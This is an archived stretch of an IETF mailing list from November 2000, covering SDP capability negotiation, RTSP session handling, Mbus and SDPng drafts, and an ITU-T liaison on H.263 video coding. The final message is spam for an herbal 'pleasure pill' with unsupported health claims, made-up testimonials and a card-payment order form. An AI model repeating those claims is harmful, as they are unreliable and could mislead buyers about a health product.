From confctrl-owner  Fri Nov 24 08:59:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA10299
	for confctrl-outgoing; Fri, 24 Nov 2000 08:59:40 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA10293
	for <confctrl@zephyr.isi.edu>; Fri, 24 Nov 2000 08:59:39 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA13341
	for <confctrl@ISI.EDU>; Fri, 24 Nov 2000 08:59:38 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24803;
	Fri, 24 Nov 2000 08:59:04 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eAOGxDe19913;
	Fri, 24 Nov 2000 08:59:13 -0800 (PST)
Received: from cisco.com (ams-vpdn-client-380.cisco.com [144.254.47.128])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id IAA03466;
	Fri, 24 Nov 2000 08:59:00 -0800 (PST)
Message-ID: <3A1E9EDD.B26C8FF6@cisco.com>
Date: Fri, 24 Nov 2000 18:01:17 +0100
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas LEVY <thomas.levy@ms.alcatel.fr>
CC: confctrl@ISI.EDU
Subject: Re: MMUSIC meeting in San Diego
References: <200011232220.eANMKkU11692@nmh.informatik.uni-bremen.de> <3A1E3A9A.EE7F7882@cisco.com> <3A1E7DEC.67BF081C@ms.alcatel.fr>
Content-Type: multipart/alternative;
 boundary="------------6705007619FA34044D6C29F8"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------6705007619FA34044D6C29F8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Thomas

Multimedia would be one example of having different capabilities
associated with different media streams. The ever popular DTMF
discussion would be another, in as much as you might want to limit
capabilities for a DTMF media stream to just that.

-- Flemming


Thomas LEVY wrote:

>     Hello Flemming,
>
> The ideas of the draft seems interesting to me.
> Furthermore, it seems very close to some discussion we have within
> Megaco mailing list concerning media gateway capabilities exchange.
> My question will be the following:
> What do you exactly mean by providing a capability descriptions at the
> media level?
> On my opinion, media capabilities apply to whole the endpoint but not
> to a particular media stream.
> Do you imagine several streams with the same media type having
> different capabilities?
>
> Regards Thomas,
>
> Flemming Andreasen wrote:
>
>> I've submitted a draft on adding some simple capability negotiation
>> capabilites to SDP
>> (http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
>> which I solicit input on and would like to present in the meeting.
>>
>> The premise of this draft is that we have a pressing need for a
>> capability negotiation mechanism. While work on SDPng has begun, it
>> is still at a somewhat early stage, and given that SDPng is
>> anticipated to not be backwards compatible with SDP, as well as the
>> current proliferation of SDP in several protocols, we need to come
>> up with at least a minimal solution for SDP (and fairly soon too).
>>
>>
>> The abstract follows:
>>
>>    This document proposes a set of Session Description Protocol
>> (SDP)
>>    attributes that allow SDP to provide a minimal and backwards
>>    compatible capability negotiation mechanism. The mechanism is
>>    intended as a simple and limited solution to the general
>> capability
>>    negotiation problem being addressed by ongoing work on the next
>>    generation of SDP, also known as SDPng.
>>
>>
>> Regards
>>
>>         Flemming
>>
>>
>> Joerg Ott wrote:
>>
>> > Folks,
>> >
>> > the MMUSIC WG is scheduled to meet twice at the 49th IETF in San
>> > Diego:
>> >
>> >     Wednesday, 13 Dec, 1300-1500
>> >     Thursday,  14 Dec, 1530-1730
>> >
>> > We would like to solicit input on agenda items for these two
>> > meetings.
>> > Please address slot requests to csp@isi.edu and jo@tzi.org.
>> >
>> > A core issue for this meeting will be the further development of
>> > SDP
>> > and SDPng.
>> >
>> > Colin and Joerg
>>
>> --
>> Flemming Andreasen
>> Cisco Systems
>
--
Flemming Andreasen
Cisco Systems


--------------6705007619FA34044D6C29F8
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi Thomas
<p>Multimedia would be one example of having different capabilities associated
with different media streams. The ever popular DTMF discussion would be
another, in as much as you might want to limit capabilities for a DTMF
media stream to just that.
<p>-- Flemming
<br>&nbsp;
<p>Thomas LEVY wrote:
<blockquote TYPE=CITE>&nbsp;&nbsp;&nbsp; Hello Flemming,
<p>The ideas of the draft seems interesting to me.
<br>Furthermore, it seems very close to some discussion we have within
Megaco mailing list concerning media gateway capabilities exchange.
<br>My question will be the following:
<br>What do you exactly mean by providing a capability descriptions at
the media level?
<br>On my opinion, media capabilities apply to whole the endpoint but not
to a particular media stream.
<br>Do you imagine several streams with the same media type having different
capabilities?
<p>Regards Thomas,
<p>Flemming Andreasen wrote:
<blockquote TYPE=CITE>I've submitted a draft on adding some simple capability
negotiation capabilites to SDP (<a href="http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt">http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
</a>which
I solicit input on and would like to present in the meeting.
<p>The premise of this draft is that we have a pressing need for a capability
negotiation mechanism. While work on SDPng has begun, it is still at a
somewhat early stage, and given that SDPng is anticipated to not be backwards
compatible with SDP, as well as the current proliferation of SDP in several
protocols, we need to come up with at least a minimal solution for SDP
(and fairly soon too).
<br>&nbsp;
<p>The abstract follows:
<p>&nbsp;&nbsp; This document proposes a set of Session Description Protocol
(SDP)
<br>&nbsp;&nbsp; attributes that allow SDP to provide a minimal and backwards
<br>&nbsp;&nbsp; compatible capability negotiation mechanism. The mechanism
is
<br>&nbsp;&nbsp; intended as a simple and limited solution to the general
capability
<br>&nbsp;&nbsp; negotiation problem being addressed by ongoing work on
the next
<br>&nbsp;&nbsp; generation of SDP, also known as SDPng.
<br>&nbsp;
<p>Regards
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flemming
<br>&nbsp;
<p>Joerg Ott wrote:
<blockquote TYPE=CITE>Folks,
<p>the MMUSIC WG is scheduled to meet twice at the 49th IETF in San Diego:
<p>&nbsp;&nbsp;&nbsp; Wednesday, 13 Dec, 1300-1500
<br>&nbsp;&nbsp;&nbsp; Thursday,&nbsp; 14 Dec, 1530-1730
<p>We would like to solicit input on agenda items for these two meetings.
<br>Please address slot requests to csp@isi.edu and jo@tzi.org.
<p>A core issue for this meeting will be the further development of SDP
<br>and SDPng.
<p>Colin and Joerg</blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems</blockquote>
</blockquote>

<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------6705007619FA34044D6C29F8--


From confctrl-owner  Fri Nov 24 14:05:12 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA28991
	for confctrl-outgoing; Fri, 24 Nov 2000 14:05:12 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA28986
	for <confctrl@zephyr.isi.edu>; Fri, 24 Nov 2000 14:05:11 -0800 (PST)
Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.125])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id OAA25979
	for <confctrl@isi.edu>; Fri, 24 Nov 2000 14:05:10 -0800 (PST)
Received: from 157.54.9.101 by mail1.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 24 Nov 2000 14:02:47 -0800 (Pacific Standard Time)
Received: from red-msg-01.redmond.corp.microsoft.com ([157.54.12.68]) by inet-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Fri, 24 Nov 2000 14:04:29 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.12
content-class: urn:content-classes:message
Subject: RE: RTSP enhancement
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Fri, 24 Nov 2000 14:04:24 -0800
Message-ID: <C3729BBB6099B344834634EC67DE4AE11517D3@red-msg-01.redmond.corp.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: RTSP enhancement
Thread-Index: AcBU053C8mBpa4I6Sr+AnIWTPx7C0wBjYf8A
From: "Anders Klemets" <anderskl@microsoft.com>
To: "John Carlton" <jcarlton@real.com>, <confctrl@ISI.EDU>
X-OriginalArrivalTime: 24 Nov 2000 22:04:29.0949 (UTC) FILETIME=[84B322D0:01C05662]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id OAA28987
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The RTSP spec outlines the use of the "a=etag" SDP attribute.  It is my
understanding that the purpose of this SDP attribute is to solve exactly
the problem that you have in mind.  If an RTSP client obtains and SDP
record which contains the etag attribute, the client will then be able
to include the etag in the SETUP request's If-Match header.  This allows
state to maintained between SDP and the SETUP request.

Have you found problems with this approach?  I think the first thing we
need to do is to come to an understanding of why the Etag approach is
not working.  If everyone agrees on that using Etags is a flawed
mechanism, then we might be able to remove it from the spec and replace
it some new mechanism, such as your "Pragma: initiate-sesion".

Anders

-----Original Message-----
From: John Carlton [mailto:jcarlton@real.com]
Sent: Wednesday, November 22, 2000 2:42 PM
To: confctrl@ISI.EDU
Cc: paulm@prognet.com; sethr@prognet.com
Subject: RTSP enhancement


All,

There have been several occasions when we have wanted/needed to maintain
state prior to the SETUP request/response in the RNWK client/server
conversation. The best example is dynamic content, when successive
DESCRIBEs for the same URL will result in the server returning sdp for
different content. The server needs to know unambiguously at SETUP time
which content is being accessed. We have uncovered other cases where
this
is desireable in our architecture as well.

The easiest way to maintain this state is simply to allow the client to
request early establishment of the session id. The idea that we have is
to
allow the client to request a session id prior to SETUP by appending a
special header to the OPTIONS request by inserting the header "Pragma:
initiate-session" in our current beta version of our software. If the
server supports this it responds with a "Session" header, otherwise it
is
ignored.

This works great and has the added benefit of making it easier for a
proxy
to correlate detailed information in the SDP response with a given
session
as well.

It is true that there are other ways to address the problems summarized
above.  Previous versions of RealServer and RealPlayer have used an ETag
solution that was discussed on this list a couple of years ago (though
never formally documented).  However, we've discovered that that creates
unnecessary complication to players and intermediate devices, and so
we'd
like to propose a simplified version.

We believe that early establishment of a session id simplifies
implementation for the majority of applications and that ease of
implementation is important enough to justify including this feature in
the
spec.

It may be worthwhile to issue an Internet draft documenting this
extension
as a proposed extension (say: "Pragma: initiate-session"), but we'd like
to
discuss this with the group first.  There's other things we've done to
make
this work better with proxies ("Via" header tricks), but lets start with
the basics.


From confctrl-owner  Tue Nov 28 03:01:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA05598
	for confctrl-outgoing; Tue, 28 Nov 2000 03:01:03 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA05593
	for <confctrl@zephyr.isi.edu>; Tue, 28 Nov 2000 03:01:02 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA10851
	for <confctrl@isi.edu>; Tue, 28 Nov 2000 03:01:00 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA04440;
	Tue, 28 Nov 2000 06:00:58 -0500 (EST)
Message-Id: <200011281100.GAA04440@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-03.txt,.ps
Date: Tue, 28 Nov 2000 06:00:58 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: A Message Bus for Local Coordiantion
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-03.txt,.ps
	Pages		: 41
	Date		: 27-Nov-00
	
The local Message Bus (Mbus) is a simple message-oriented
coordination infrastructure for group communication within groups of
co-located application entities. The Message Bus comprises three
logically distinct parts: a message transport infrastructure, a
structured message hierarchy, and a general purpose addressing
scheme. This document deals with message addressing, transport, and
security issues and defines the message syntax for the Mbus. It does
not define application oriented semantics and procedures for using
the message bus. Application specific command sets and procedures
for applications using the Mbus are expected to be defined in
follow-up documents.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001127133202.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001127133202.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Nov 28 06:13:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA11744
	for confctrl-outgoing; Tue, 28 Nov 2000 06:13:19 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA11739
	for <confctrl@zephyr.isi.edu>; Tue, 28 Nov 2000 06:13:18 -0800 (PST)
Received: from iris.ctd.comsat.com (iris.ctd.comsat.com [134.133.40.12])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA24583
	for <confctrl@isi.edu>; Tue, 28 Nov 2000 06:13:16 -0800 (PST)
Received: from iris.ctd.comsat.com ([134.133.40.12] helo=iris.ctd.comsat.com.ctd.comsat.com)
	by iris.ctd.comsat.com with smtp (Exim 2.12 #8)
	id 140lTr-0000N3-00; Tue, 28 Nov 2000 09:11:35 -0500
From: Simao Campos <simao.campos@labs.comsat.com>
cc: "Bigi, Fabio" <Fabio.Bigi@itu.int>
to: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Communication from ITU-T Study Group 16 to IETF AVT and MMUSIC 
In-Reply-To: <905DD86907DAD3119DE70000778D770F017496CE@mailsrv1.itu.ch>
References: <905DD86907DAD3119DE70000778D770F017496CE@mailsrv1.itu.ch>
X-Mailer: VM 6.34 under 20.3 "Vatican City" XEmacs  Lucid
cc: simao.campos@labs.comsat.com
X-Face: "$ryF/ne$oms9n}#TY|W5Ttjbp-6/u4j'7c:%-aq2IAf'&DjuvII4wvr:eU{h=GMPcVTP,p
 XgCPnk{Qu:7P=jH00Q?B(*bZ\7#x_&KD=%hU1VhP'`hy'PF01*tU9DAoK7QXTGzL%fe!lIj,0Ds,P:
 GV_YPd*4GO?ClJAPRa=iB\PuIQmM=Q>qo87lJh-N2PQL-2QaM>}LdWI<}
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: multipart/mixed;
 boundary="Multipart_Tue_Nov_28_09:11:34_2000-1"
Content-Transfer-Encoding: 7bit
Message-Id: <E140lTr-0000N3-00@iris.ctd.comsat.com>
Date: Tue, 28 Nov 2000 09:11:35 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--Multipart_Tue_Nov_28_09:11:34_2000-1
Content-Type: text/plain; charset=US-ASCII

Dear all,

please find attached an ASCII version of the attachment Fabio Bigi
from the TSB/ITU-T just sent to the reflector, for those that prefer
plain ASCII text.

Best regards,
Simao Campos-Neto
LMGT
Chair, WP3/16 (Media coding)


--Multipart_Tue_Nov_28_09:11:34_2000-1
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="LS24-16.txt"
Content-Transfer-Encoding: 7bit

                                                           LS24/16

Questions:         6/16 (formerly 15/16)
Source:            ITU-T SG 16 (Geneva, 13-17 November 2000)
Title:             Communication to IETF AVT and MMUSIC Working
                   Groups on Video Coding Activities
                                 
                                 
                           COMMUNICATION
                                 
From:              ITU-T SG 16
To:                IETF AVT and MMUSIC
Approval:          SG 16
For:               Information
Deadline:          N/A
Contact:           Gary Sullivan           
                   Microsoft             Tel: +1 425 703 5308
                   One Microsoft Way     Fax: +1 425 936 7329
                   Redmond / WA / 98052  Email: Gary.Sullivan@itu.ch
                   USA                               

We are sending you this liaison statement to update you on the status
of our work. ITU-T Study Group 16 started the approval process for
Annex X to the H.263 standard containing a list of preferred feature
combinations, which are structured into "profiles" of support. The
annex also defines some groupings of maximum performance parameters as
"levels" of support for these profiles. The primary objectives of this
Annex X are

 1) to provide a simple means of describing or negotiating the
    capabilities of a decoder (by specifying profile and level
    parameters), and
 2) to encourage common enhancement features to be supported in
    decoders for achieving maximal interoperability, and
 3) to describe feature sets chosen as particularly appropriate for
    addressing certain key applications.
                                 
These new profile definitions should simplify capability establishment
for use in protocols such as SIP/SDP. Comments are welcome in the Last
Call process for H.263 Annex X (see ITU-T Rec. A.8).
                                 
Three new annexes to ITU-T Recommendation H.263 (as a result of an
effort known as the H.263++ project) have been decided (given final
standardization approval) by SG16. These new additions include the
following:

- Annex U: an Enhanced Reference Picture Selection mode enhancing
  compression efficiency and error resilience performance,
- Annex V: a Data Partitioned Slice mode enhancing error resilience
  performance, and
- Annex W: defining Additional Supplemental Enhancement Information
  which can be added to video bit-streams in a backward-compatible
  manner.

We currently plan not to add any more optional operational modes to
H.263, in order to allow ourselves to focus on a new project for
development of the next-generation video coding standard known as
H.26L. The H.26L project has achieved notable improvements in video
coding technology, in particular including approximately a 2:1
improvement in compression efficiency.  This project also includes
plans for addressing wireless conversational and streaming video
applications with strong support for network- friendly syntax
design. The technical design of the new standard will be mainly
completed around the end of next year (with final approval of the
standard to follow a few months thereafter).
                                 
                       ____________________
END


--Multipart_Tue_Nov_28_09:11:34_2000-1--


From confctrl-owner  Wed Nov 29 02:34:00 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA25854
	for confctrl-outgoing; Wed, 29 Nov 2000 02:34:00 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA25849
	for <confctrl@zephyr.isi.edu>; Wed, 29 Nov 2000 02:33:59 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA19110
	for <confctrl@ISI.EDU>; Wed, 29 Nov 2000 02:33:57 -0800 (PST)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id eATAXuU24019
	for <confctrl@ISI.EDU>; Wed, 29 Nov 2000 11:33:56 +0100 (MET)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id LAA07877;
	Wed, 29 Nov 2000 11:33:55 +0100 (MET)
X-Authentication-Warning: daemon.informatik.uni-bremen.de: dku set sender to dku@informatik.uni-bremen.de using -f
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-mbus-transport-03.txt,.ps
References: <200011281100.GAA04440@ietf.org>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
In-Reply-To: Internet-Drafts@ietf.org's message of "Tue, 28 Nov 2000 06:00:58 -0500"
Date: 29 Nov 2000 11:33:55 +0100
Message-ID: <cdu28r12zw.fsf@daemon.informatik.uni-bremen.de>
Lines: 44
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "ID" == Internet-Drafts  <Internet-Drafts@ietf.org> writes:

    ID> A New Internet-Draft is available from the on-line Internet-Drafts directories.
    ID> This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

    ID> 	Title		: A Message Bus for Local Coordiantion
    ID> 	Author(s)	: J. Ott, C. Perkins, D. Kutscher
    ID> 	Filename	: draft-ietf-mmusic-mbus-transport-03.txt,.ps
    ID> 	Pages		: 41
    ID> 	Date		: 27-Nov-00
	
    ID> The local Message Bus (Mbus) is a simple message-oriented
    ID> coordination infrastructure for group communication within groups of
    ID> co-located application entities. The Message Bus comprises three
    ID> logically distinct parts: a message transport infrastructure, a
    ID> structured message hierarchy, and a general purpose addressing
    ID> scheme. This document deals with message addressing, transport, and
    ID> security issues and defines the message syntax for the Mbus. It does
    ID> not define application oriented semantics and procedures for using
    ID> the message bus. Application specific command sets and procedures
    ID> for applications using the Mbus are expected to be defined in
    ID> follow-up documents.

    ID> A URL for this Internet-Draft is:
    ID> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-03.txt

Folks,

the HTML-version is available at

http://www.dmn.tzi.org/ietf/mmusic/49/id/draft-ietf-mmusic-mbus-transport-03.html

The main changes are:

        - use of a scope relativ multicast address
        - allowed broadcast when multicast is not available
        - accuracy for timestamp is now milliseconds
        - use of CRLF for delimiting lines throughout all ABNF definitions

In general, we have revised the document with the intent to make it a
standalone specification, i.e. without unneccessary references etc.
        
-- 
	Dirk

From confctrl-owner  Wed Nov 29 03:28:49 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA27538
	for confctrl-outgoing; Wed, 29 Nov 2000 03:28:49 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA27533
	for <confctrl@zephyr.isi.edu>; Wed, 29 Nov 2000 03:28:46 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA01359
	for <confctrl@ISI.EDU>; Wed, 29 Nov 2000 03:28:40 -0800 (PST)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id eATBSdU02171
	for <confctrl@ISI.EDU>; Wed, 29 Nov 2000 12:28:39 +0100 (MET)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id MAA14624;
	Wed, 29 Nov 2000 12:28:39 +0100 (MET)
X-Authentication-Warning: daemon.informatik.uni-bremen.de: dku set sender to dku@informatik.uni-bremen.de using -f
To: confctrl@ISI.EDU
Subject: draft-kutscher-mmusic-sdpng-req-01.txt
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 29 Nov 2000 12:28:39 +0100
Message-ID: <cdhf4rvwyg.fsf@daemon.informatik.uni-bremen.de>
Lines: 17
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we have submitted a new version of the SDP-ng requirements
draft. Until it appears in the archives you can get it also at

http://www.dmn.tzi.org/ietf/mmusic/49/id/draft-kutscher-mmusic-sdpng-req-01.txt

PS- and HTML-versions are also available.

We have adopted the results of our requirements discussion at the last
IETF meeting and also provided a strawman proposal as input for
further discussions.

Any comments etc. are welcome.

-- 
	Dirk

From confctrl-owner  Wed Nov 29 06:17:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA03031
	for confctrl-outgoing; Wed, 29 Nov 2000 06:17:36 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA03026
	for <confctrl@zephyr.isi.edu>; Wed, 29 Nov 2000 06:17:35 -0800 (PST)
Received: from bill.hayeslemmerz-man.es ([194.224.192.172])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA08490
	for <confctrl@isi.edu>; Wed, 29 Nov 2000 06:17:30 -0800 (PST)
From: V@tzw.de
Received: from h809 (1Cust25.tnt1.mia5.da.uu.net [63.30.194.25]) by bill.hayeslemmerz-man.es (8.9.3/8.7.3) with SMTP id QAA18251; Wed, 29 Nov 2000 16:13:55 +0100
Date: Wed, 29 Nov 2000 16:13:55 +0100
Message-Id: <200011291513.QAA18251@bill.hayeslemmerz-man.es>
To: V@tzw.de
Subject: Lady V:  The Pleasure Pill for Women!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


LADY V: The Pleasure Pill for Women!

Men Have Their Viagra®! Finally, A Pill for Women! 

It's Here! The Revolutionary Woman's Sexual Sensation is Now
                           Available.

Researchers are calling Lady V the greatest breakthrough
for women since the Birth Control Pill. And you don't even need
a prescription to get it!

               Welcome to the New Sexual Revolution!

It's no secret that men have been having the time of their
lives since the wonder pill Viagra® was made available. But,
women were left out in the cold with no pill... nothing! 
Well now thanks to an all-star team of medical researchers 
who have been working around the clock, those days are finally
over. The perfect female "pleasure pill" has been created and
you don't even need a prescription. You can now get it from
Lion Sciences!

Lady V is the world's first pleasure pill scientifically 
designed for women. Lady V is an all-natural proprietary 
herbal blend of prosexual nutrients from around the world
synergistically blended to naturally stimulate neurotransmitter
endorphin signals. This magical combination increases targeted
blood flow, unleashes natural stimulator for maximum stimulation,
triggering pleasure responses quickly. Lady V is safe, natural
and doctor-recommended.
Since its introduction Lady V has been taking the world by storm!
>From Malibu to Miami women are enjoying the most intense pleasure
of their lives! 

• 100% Natural
• Safe
• The Highest Quality Pharmaceutical Pure Nutraceuticals
• Guaranteed Potency
• Certified Purity

                     Lady V is Sweeping the Nation!

Women are going crazy over Lady V. Suddenly couples are falling
in love all over again. The passion and pleasure that women are
reporting is off the charts! Lady V has an incredible 88% success
rate. Best of all, while Viagra costs $10 a pill, Lady V costs
less than $1 a pill! It's not just a man's world anymore!

Just look at what a few women have to say:

"I thought my love life was good before, but now it is out of
this world! Lady V is remarkable." — Mary J., Interior Designer

"I haven't smiled like this in a long time. My husband and I 
feel like a couple of 19 year olds again!" — Debra T, Assistant Buyer

"Imagine what it would feel like to have incredible passion
and pleasure anytime you want." — Jennifer C., Film Editor

"Suddenly my husband and I are spending more time in the bedroom
instead of the TV room." — Angie R., Realtor

Ingredients: Vitamin D, Niacin, Vitamin B6, Folic Acid,
Vitamin B12, Avena Sativa, Kava Kava, Guarana, White Willow Extract,
Mura Puama, St. John's Wort, Siberian Ginseng, Cordyceps, Damiana,
and L-Taurine.

Each bottle of Lady V contains 30 tablets.
Take three capsules one hour before romantic activity
as a dietary supplement. 

Risk Free: Double Your Money Back Guarantee

If Lady V does not give the desired results as stated
above, simply return the unused portion for a
double-your money back refund. No questions asked! 

Order Now: Safe, Fast, Secure, Private

Lady V with its DOUBLE YOUR MONEY BACK GUARANTEE is
available only through this special promotional offer.
Herbal V arrives in plain packaging for your privacy.
Any and all information is kept strictly confidential.

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express.payments. Money Orders
are accepted only by Postal Mail. 


Each bottle of Lady V contains 30 tablets.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of Lady V  $24


______ 2 Bottles of Lady V $44


______ 3 Bottles of Lady V $59


Please add $6 shipping and handling for any size order. 
[ Total cost including shipping & handling, 
1 bottle=$30, 2 bottles=$50, 3 bottles=$65 ]

International Orders
Please add $18 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$42, 2 bottles=$62, 3 bottles=$77 ]
We cannot accept foreign checks.
International money orders or credit cards only.

Step 2: Place a check by your desired payment method 
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order 


_____American Express 
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
